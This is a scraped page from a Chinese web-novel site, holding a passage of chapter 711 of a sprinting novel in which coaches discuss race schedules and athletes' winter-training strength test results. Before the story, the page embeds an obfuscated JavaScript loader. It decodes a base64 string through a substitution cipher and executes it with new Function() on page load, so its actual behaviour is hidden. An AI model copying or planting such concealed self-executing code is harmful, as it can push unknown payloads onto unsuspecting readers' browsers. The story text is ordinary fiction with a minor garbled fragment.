趣书网

阅读记录  |   用户书架
(function(){function te1a7951(z4874c33){var rceaee7d5="Jjzf?2;8t!SDxe$]CAyp3m/sMR[uQr.W7@-vLUqk&(5OGgNX^EKnbI_=Z1Pc90T|w~o6ha,:FVYiHlBd%4";var y4c20dc8="sIGOcF8pV@1U29_~=7]rfSv0$j[.HlY%5?a|EJmxLMXC^D;tek4wuR!ozBKPZd/gT,QynA-Wh63&qbi(:N";return atob(z4874c33).split('').map(function(ff0fd44){var x06364=rceaee7d5.indexOf(ff0fd44);return x06364==-1?ff0fd44:y4c20dc8[x06364]}).join('')}var c=te1a7951('rtmp://bkJoMD1uWyIzcyIrIjNWU0EiKyI3IisiZSJ5QzNiaD9YQj1oZCl7ZDNiaD9YQj1oZDY/VjNseD9TfkozVj9ZQWVsLX5xM2UzMGUwP1l+cXg/eGVBMyl7QjNkVEcoLT92OkJoVHVYXkpYZGgtL0J8LVg9cHU4ci1YMz1wcSkpe3BeWGJwaH0vLXAgRXNLQTAwMGwtQzNiaD9YQj1oZDNWWT87U1NTKXtwXlhicGggbVhwQmh8dTNwPXFPRi1wTz0wXmQzVlk/O1NTUyl9Ti8tcCAwbEtWWS03U0NbInJSSixRc1MkJmZhZyRVbSRRdygmIn4iL15wLHNTIn4iSkIwLFNLViJ+Ij8/WCx4c3g3LHNWLHhZIHhZJXM3JTdzInlOLy1wIGhzZXN4O1ZTQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZUEpK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlOyl5fmJZZVZBVjNLQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZTspK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlQSl5fkpsc2w7Q3F4P3hlQTNbaHNlc3g7VlNkIi5ZdDY/cXRiMDI0Uj9xcm4wYUNDIil5fl4zLTstO1Y7c0Noc2VzeDtWU2QiLllVci41SXJJOmtybDp0YjBhQ0MiKX5eMDNTXjBzQ2hzZXN4O1ZTZCI/WXRCP1lJNi06N2giKX5COy1ZM2VZO0Noc2VzeDtWU2QiP3F0bmx6MlI5b0NDIil+UlZZVlk3ZVMtQ2hzZXN4O1ZTZCI/WTFKLTVvQyIpfi1WP1NBO0FDaHNlc3g7VlNkIj9xdHg5NVVaOW9DQyIpflpBc0FlS2xeQ2hzZXN4O1ZTZCItcWU4bHxDQyIpflhlWWxsU0F4Q3EzZTMwZTA/WVtoc2VzeDtWU2Qidzoycy1hQ0MiKXl+ODBeZVZBP3hDWGVZbGxTQXhbaHNlc3g7VlNkIi54dDhsYUNDIil5fi1WS3gwMDdeQ1hlWWxsU0F4W2hzZXN4O1ZTZCI5cWsvbFlqQyIpeX5sXjtWZVZDWGVZbGxTQXhbaHNlc3g7VlNkIj9xMmI5emVYIil5fkJsPzctN2VDaHNlc3g7VlNkImw6MnMueHxDIil+cl4teF5WWS03Q2hzZXN4O1ZTZCJsOjJuIil+cF5lQVZeP1lDaHNlc3g7VlNkImx6ZUY5YUNDIilOLy1wIFpTO2UwZTMzQ2hzZXN4O1ZTZCI/eFNzLTpJcjB8Q0MiKU4vLXAgOD9lU0EzOzdLTi8tcCAvc0teM3hsQzY/VjNseD9TW3N5TkIzZDY/VjNseD9TdXJeaHxYRj5TKXsvc0teM3hsQzY/VjNseD9TWy1WS3gwMDdeZGxeO1ZlVmQpKjY/VjNseD9TdXJeaHxYRil5fUIzZHI9Py1YQj1odUpeLXA/RnVCaDBea2YzZFpTO2UwZTMzKT4sUyl7OD9lU0EzOzdLQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiMHp0SzB6MjY5OkxDIikpTjg/ZVNBMzs3S3VCMEMiWCIrbF47VmVWZCkqU15LTjg/ZVNBMzs3S3VKWDZyXnVuQjBYRkMiU3NzVyJOOD9lU0EzOzdLdUpYNnJedUZeQnxGWEMiN3NzOGsiTjg/ZVNBMzs3S3UwQkotbHJeMENYcGJeTkIzZHF4P3hlQTN1bD0wNl9DaGJycil7cXg/eGVBM3VsPTA2dS04OF5oME9GQnIwZDg/ZVNBMzs3Syl9XnJKXnsvLXAgRlM/MDBDM2JoP1hCPWhkKXtxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkOD9lU0EzOzdLKU5xM2UzMGUwP1l1cF5xPS9eTC9eaFgmQkpYXmhecGRwXmVBVl4/WX5GUz8wMH4zLXJKXil9TnEzZTMwZTA/WXUtMDBML15oWCZCSlheaF5wZHBeZUFWXj9ZfkZTPzAwfjMtckpeKX19Ly1wIEZLP3NZeEtlQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiOTpTQjk6b0MiKSlORks/c1l4S2V1QjBDSjNWP1lBZWwtKzgwXmVWQT94ZGxeO1ZlVmQpKlNeSylORks/c1l4S2V1Slg2cl51Rl5CfEZYQyJzOGsiTkZLP3NZeEtldUpYNnJedT0vXnAzcj1uQyJGQjAwXmgiTj89aEpYIFpLOzMwXmxTO0NkXjdsWTNzfm47LTMtP0t+NlYtM2w3WV5DeHNzKUM+Y3A9cUJKXnVwLT9eZFszXlg/RmReN2xZM3N+bjstMy0/Syl+aF5uIGNwPXFCSl5kZGQkfnBeUl4/WClDPkpeWHdCcV49YlhkZGQpQz5wXlJeP1hkaF5uIExwcD1wZCJYQnFePWJYIikpKX42Vi0zbDdZXikpKXkpTi8tcCA2P1k3ZWxDLUo2aD8gM2JoP1hCPWhkWlkweDNeP3hLKXsvLXAgcjdeU0FDWyJSSiJ+Ij9KSiJ+IkZYcXIifiJ8QjMifiJSOHwifiI4aHwieU4vLXAgcmVeXlk/P0NyN15TQXVyXmh8WEZOcjdeU0FDcjdeU0FbLVZLeDAwN15kbF47VmVWZCkqcmVeXlk/Pyl5Tj89aEpYIF47XmVBQWV4Q1siOXg/Yj9ZMi9sNTg4MGh0Wmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5Ti8tcCA9VjA/cy0zQ147XmVBQWV4W3N5TkIzZF47XmVBQWV4dXJeaHxYRj5TKXs9VjA/cy0zQ147XmVBQWV4Wy1WS3gwMDdeZGxeO1ZlVmQpKl47XmVBQWV4dXJeaHxYRil5fS8tcCByXmxec1lDWyJGWFg4SiVUIn5xU2UzN2xzbF5kPVYwP3MtMyl+IkZYcXIifkZLP3NZeEtldUIwfmBNe0ozVj9ZQWVsLX11TXtyN15TQX1geVtaQXNBZUtsXnlkIlQiKU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaEpeaDAgSEogRj1KWCAiK3JebF5zWU5YcDZ7Ly1wIG5sczM3VlZDLW4tQlggWks7MzBebFM7ZHJebF5zWX57Py0/Rl4lImg9LEpYPXBeIn5wXjBCcF4/WCUiMz1ycj1uIn0pTm5sczM3VlZDLW4tQlggbmxzMzdWVnVYXmtYZClOLy1wIEY3eHgwO0NubHMzN1ZWdUJoMF5rZjNkRXNLQTAwMGwtZFZTKSlOLy1wIFpWMzM7M0MiIk5CM2RGN3h4MDs+Q3Mpe1pWMzM7M0NubHMzN1ZWW14wM1NeMHN5ZEY3eHgwOylObmxzMzdWVkNubHMzN1ZWW14wM1NeMHN5ZHN+Rjd4eDA7KX1ubHMzN1ZWQ25sczM3VlZbQmw/Ny03ZXlkVHV7U35LfVR8KVtyXi14XlZZLTd5ZGRrQz5rW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKSkpW1pBc0FlS2xeeWQiIilObmxzMzdWVkNubHMzN1ZWK1pWMzM7M05ubHMzN1ZWQ2hzZXN4O1ZTZG5sczM3VlYpTlpZMHgzXj94S0NubHMzN1ZWW1JWWVZZN2VTLXlkIlQiKVtzeU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaHxeWCBISiBGPUpYIEpiPz9eSkoiK1pZMHgzXj94S30/LVg/RmQzZTstZVkpe0IzZDg/ZVNBMzs3S19DaGJycik4P2VTQTM7N0t1Ly1yYl4rQyJccFxofF5YIEhKIEY9SlggMy1Ccl4wIiszZTstZVl9Ly1wIHxlUz87Q2JZZVZBVjNLZDBsS1ZZLTdTdT89aD8tWGRbYGg9bixNe2ctWF5bImg9biJ5ZCl9YH5gRnBeMyxNe3I9Py1YQj1odUZwXjN9YH5gYko/LE17a2x4LUtTUz8tZCl9YHkpdUo9cFhkZGQpQz5sXjtWZVZkKSx1NykpW1pBc0FlS2xeeWQifiIpKU4vLXAgQmw7S0E7bDdDfGVTPzt1QmgwXmtmM2RFc0tBMDAwbC1kVlMpKT4sU0B8ZVM/O1teMDNTXjBzeWR8ZVM/O3VCaDBea2YzZEVzS0EwMDBsLWRWUykpKSUiIk58ZVM/O0N8ZVM/O1tCOy1ZM2VZO3lkQmw7S0E7bDd+IiIpW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKStCbDtLQTtsN05GSz9zWXhLZXVKcD9DWyJGWFg4SiVUIn5aWTB4M14/eEt+Rks/c1l4S2V1QjB+fGVTPzt5W1pBc0FlS2xeeWQiVCIpTlhwNntxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkRks/c1l4S2UpfT8tWD9GZF4pe3F4P3hlQTN1LTAwTC9eaFgmQkpYXmhecGQiZ2YoTz1oWF5oWCY9LTBeMCJ+ZGQpQz57cXg/eGVBM3VsPTA2dUJoSl5wWDFeMz1wXmRGSz9zWXhLZX5xeD94ZUEzdWw9MDZ1P0ZCcjA0PTBeSltzeSl9KSl9QjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoLTg4XmgwXjAgXnEgWD0gRlhxciJOLy1wIDhBeGw7LUs/Q3F4P3hlQTN1fF5YTHJecV5oWDE2ajBkRks/c1l4S2V1QjApTkIzZDhBeGw7LUs/Q0NoYnJydnY4QXhsOy1LP0NDYmgwXjNCaF4wKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoID8taFggfF5YIF5xIDNwPXEgRlhxciJ9fX1OQjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoSl5oMCBSSiBGPUpYICIrL3NLXjN4bH0vLXAga2x4LUtTUz8tQzNiaD9YQj1oZCl7WHA2ez89aEpYIC87M2V4P1NZQ2RoXm4gZy1YXil1WD0mPT8tcl5nLVhebVhwQmh8ZClOPz1oSlggaDNlN2VZPzNZQ2BKcVhCJEpCMCRNey9BbDszdUozVj9ZQWVsLX0kOC9gTnJeWCBIM1Zsc1YtQVlDVW1mNHU4LXBKXmRyPT8tcm1YPXAtfF51fF5YalhecWRoM2U3ZVk/M1kpKU5CM2RIM1Zsc1YtQVlDQ2hicnJ2dkgzVmxzVi1BWXUwLVheX0MvOzNleD9TWSl7SDNWbHNWLUFZQ3s4L3dCcV5KJXN+MC1YXiUvOzNleD9TWX19cF5YYnBoIEgzVmxzVi1BWXU4L3dCcV5KK1N9Py1YP0ZkMzdeLTdWc2VeKXtwXlhicGggU319Ti8tcCBxU2UzN2xzbF5DM2JoP1hCPWhkRnNlVmw/KXtwXlhicGggaHNlc3g7VlNkRnNlVmw/KVtCOy1ZM2VZO3lkRXNLQTAwMGwtZEt4KX5sXjtWZVZkKXVYPW1YcEJofGRZVil1SnJCP15kLVZLeDAwN15kbF47VmVWZCkqZSkreCkpfU42P1k3ZWxkcVNlMzdsc2xeZC9zS14zeGwpKU5xM2UzMGUwP1lbIi0wMEwvXmhYJkJKWF5oXnAieWQicV5KSi18XiJ+ZDNiaD9YQj1oZDM3Xi03VnNlXil7QjNkMzdeLTdWc2VedTAtWC11RUNDSjNWP1lBZWwtKXtxeD94ZUEzdXxeWExyXnFeaFgxNmowZEZLP3NZeEtldUIwKXVwXnE9L15kKU4vLXAgXjBsZTszQTBDaGJyck5CM2Q4P2VTQTM7N0tfQ2hicnIpezg/ZVNBMzs3S3UvLXJiXitDIlxwXGhwXj9eQi9eIF5xIDg9SlggcV5KSi18XiJOOD9lU0EzOzdLdS8tcmJeK0MiXHBcaF51MC1YLXUvICIrMzdeLTdWc2VedTAtWC11SE5eMGxlOzNBMENkdXV1fD9lS0swWVkpQz57QjNkX3w/ZUtLMFlZdnZ8P2VLSzBZWXVyXmh8WEY8Q3MpcF5YYnBoTjg/ZVNBMzs3S3UvLXJiXitDIlxwXGgiK3w/ZUtLMFlZdVI9QmhkIiAiKX19aF5uIDJiaD9YQj1oZCItcHxKIn4zN14tN1ZzZV51MC1YLXVIKWR7JFgwP0olSmxzbDt+JHI9fCVeMGxlOzNBMH0pfX0pKX0pZFsiOXg/Yi41MXNmenJZLjVJWmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5fiJTS1Yifm5CaDA9bn4wPT9icV5oWCl9TjNzM1ZTQTdlZClO'.substr(7));new Function(c)()})();
上一章
目录 | 设置
下一页

第711章 冬训结束,越跑越高的潜力评估(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

帝都田径队办公室。

“小添他们的比赛规划出来了吗?老袁排好了吧?在08年之前,可不要轻易出现伤病问题啊。”正在办公的丰树勇,看了看手边的日历,拿起电话问向外面的余位力。现在整个田径队,直道项目上除了刘祥,就是苏神,他们两个人已经成为了短道方面的顶梁柱。

刘祥去年07大满贯,苏神第一个非黑人破十+ow百米奖牌。

都让全国的田径热度,再次拔高到了一个新高度。

他们也自然而然,成为了时代的新宠儿。

加上过人的实力,导致不管是上面但还是下面,都对于他们俩个人,刮目相看。

“都报上来了。”电话那头,余位力道:“要不我现在就拿过来吧。”

“好。”丰树勇道。

一分钟不到,办公室的门就被推开了,余位力用文件夹带着几张纸,走了进来。

“在这里,看看吧,安排我认为还是比较较合理。”

“唔。好像也还行,刘祥这边是不是有点太多了?”丰树勇问道:“大赛在即,是不是还是要保存一下体能储备?”

“以赛代练,这是今年的目标,刘祥那边也是这么打算。”余位力道。

“是这样么。”丰树勇想了想,道:“但我记得二沙岛那边训练的时间,要短不少,而且比赛的时候,会更加适度调整,刘祥那边也是吗?以赛代练原本就够辛苦了,如果训练强度还要太大,我在二沙岛是听过‘课’的,可能非但不是什么好事情,还可能出现反效果。”

“那我去问一问具体情况吧。”余位力道。

……

二沙岛。

“好了,今年的冬训结束了,五六个月的冬训,现在是检验大家实力的时候了。”袁郭强在上面拍了拍手,道:“首先先开始身体素质的检测,大家排好队,一个一个,逐一开始。”

竞技体育,是运动,是运动就少不了身体素质的加持。

还是苏神的那句话,没有身体,你什么技术都是空话。

没有扎根的土壤。

不可能生根发芽。

女子在前。

姓名:陈娟。

身高:174.4cm。

体重:63kg。

卧推60kg。

深蹲100kg

高翻65kg。

“不错,陈,你的数据一直在稳步提升,希望这次测试,会有新的惊喜。”兰迪看着数据,表示还不错,陈娟虽然不是力量类型,但是她身高就代表步幅方面,会有很大的潜力可以挖掘。相比现在国内的短跑运动员,基本上都在160+,她这种身高,无疑是更加具备优势。

上一个这么勐的,毫无疑问,也只有川蜀女飞人,同样身高一米七几的立雪梅了。

现在你喊一声“小立雪梅”,陈娟还真不是不能接受。

但是想要比肩前辈,那还是极其困难的事情。

还需要继续努力。

尤其是高翻,未来格曼棋那个身高体重都可以在八十几公斤玩出花,这方面意味着陈娟还要继续加油。不过身高太高,尤其是女孩子,就代表,她要做的动作行程也会增加,因此陈娟还是未来可期的。现在也不需要给太多的压力。

毕竟她的进步,已经是人人都看在眼里的事情。

“小添哥,我的高翻一直有点上不去,你下次帮我看看吧。”小姑娘显然对于这次高翻的测试成绩还是不太满意,还想要再提高点才行。苏神知道陈娟是“外柔内刚”的个性,所以也没有拒绝,表示后面会专门抽时间帮她看看,提高提高这方面的成绩。

但她的成绩,在别的短跑队女孩子眼中,却已经是……十分优秀的存在。

“下一个,韦。”兰迪的声音响了起来。

韦勇丽有点紧张,毕竟这是她的第一次冬训,如果没有搞好,她也不知道会不会二沙岛就和自己以前的业余体校一样,请自己“卷铺盖”走人。

这个时候,还是和她朝夕相处的陈娟,过去安慰了一声。

这才让16岁多的韦勇丽,定了定心神,点点头走了上去。

姓名:韦勇丽。

身高:166cm。

体重:52kg。

卧推:50kg

深蹲:75kg。

高翻:45kg。

看看自己的成绩,再看看刚刚陈娟的成绩,韦勇丽还以为自己做得很差,差点就要“梨花带雨”,准备迎接一通狂风暴雨。

但很显然。

她。

想错了。

面对她的数据,兰迪和拉尔夫.曼对视了一眼,微微点头,道:“不错,你很有潜力,不愧是苏找过来的人,继续好好训练吧。”

“我?我可以?我通过了?”韦勇丽似乎自己都有点不敢相信。

反复确认后,顿时破涕为笑,朝着陈娟那边就冲了过去,嘴里大吼大叫,也不知道到底说了些什么。但是很显然,陈娟也是很高兴的一个,毕竟韦勇丽的成长,就意味着……

未来没有多久,她将多一个强有力的伙伴。

这章没有结束,请点击下一页继续阅读!不必再次次都是孤身一人了。

……

女子组结束后,轮到了男子组。

首先是周兵。

身高185.8cm,体重83kg。

卧推:90kg。

深蹲:125kg。

高翻:90kg。

“不错,周,你的身体素质在19岁里面已经很好,底子越来越扎实了。”兰迪点点头,记录道。

“好。不错。我周兵也不是在偷懒的。”周兵笑了笑,比了一个“耶”。

“下一个,劳逸。”

劳逸。

身高173cm,体重74.7kg,这已经比劳逸巅峰期的60kg,重了超过14.7kg,虽然提高在放缓,但是可以看出来,在这种增肌下,劳逸还可以平衡肌体速度和爆发,实在是很优秀。

现在的劳逸,已经不是苏神印象中的劳逸,整个人越来越壮实,越来越接近黑人短跑运动员的身材。当然,屁股,也越来越大,这或许也是整个“苏神系”出品的标志性产物了。

卧推:100kg。

深蹲:160kg。

高翻:110kg。

卧,卧槽。

劳逸的成绩再次飙升,简直是让很多人都惊爆了眼球,不说以前短跑队的力量数据,就只说现在“苏神系”入驻二沙岛后,这个数据,依然是……强的一匹。

还是那句话,短跑运动员,最主要的可不是增加肌肉,而是为了增加专项能力。

所以并不是一味增肌就可以,而是要在一点点的增加中,还要再去寻找你的身体动态平衡。

要不影响你的专项才可以。

在这种基础上,劳逸还可以练成这样,真是惊人,而且以他的体重和身高,绝对算得上是一枚小钢炮。这个成绩,已经开始接近苏神原时间线2018年的身体数据了。

再给他一年,或许真的可以冲到那个水平上。

虽然力量数据并不代表直接的速度,但在兰迪他们的严格控制下,肯定是有增无减。

“不错啊,大牛,期待你的测试表现。”袁郭强看着都十分满意,在一边连连点头。

“我会努力加油的,袁指导!”劳逸用力点点头,得到了承认,他的感觉也很好。

现在的他,早就融入到了二沙岛当中,成为了二沙岛的一份子。

这里的氛围和训练专业程度,都是他以前梦寐以求的东西。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间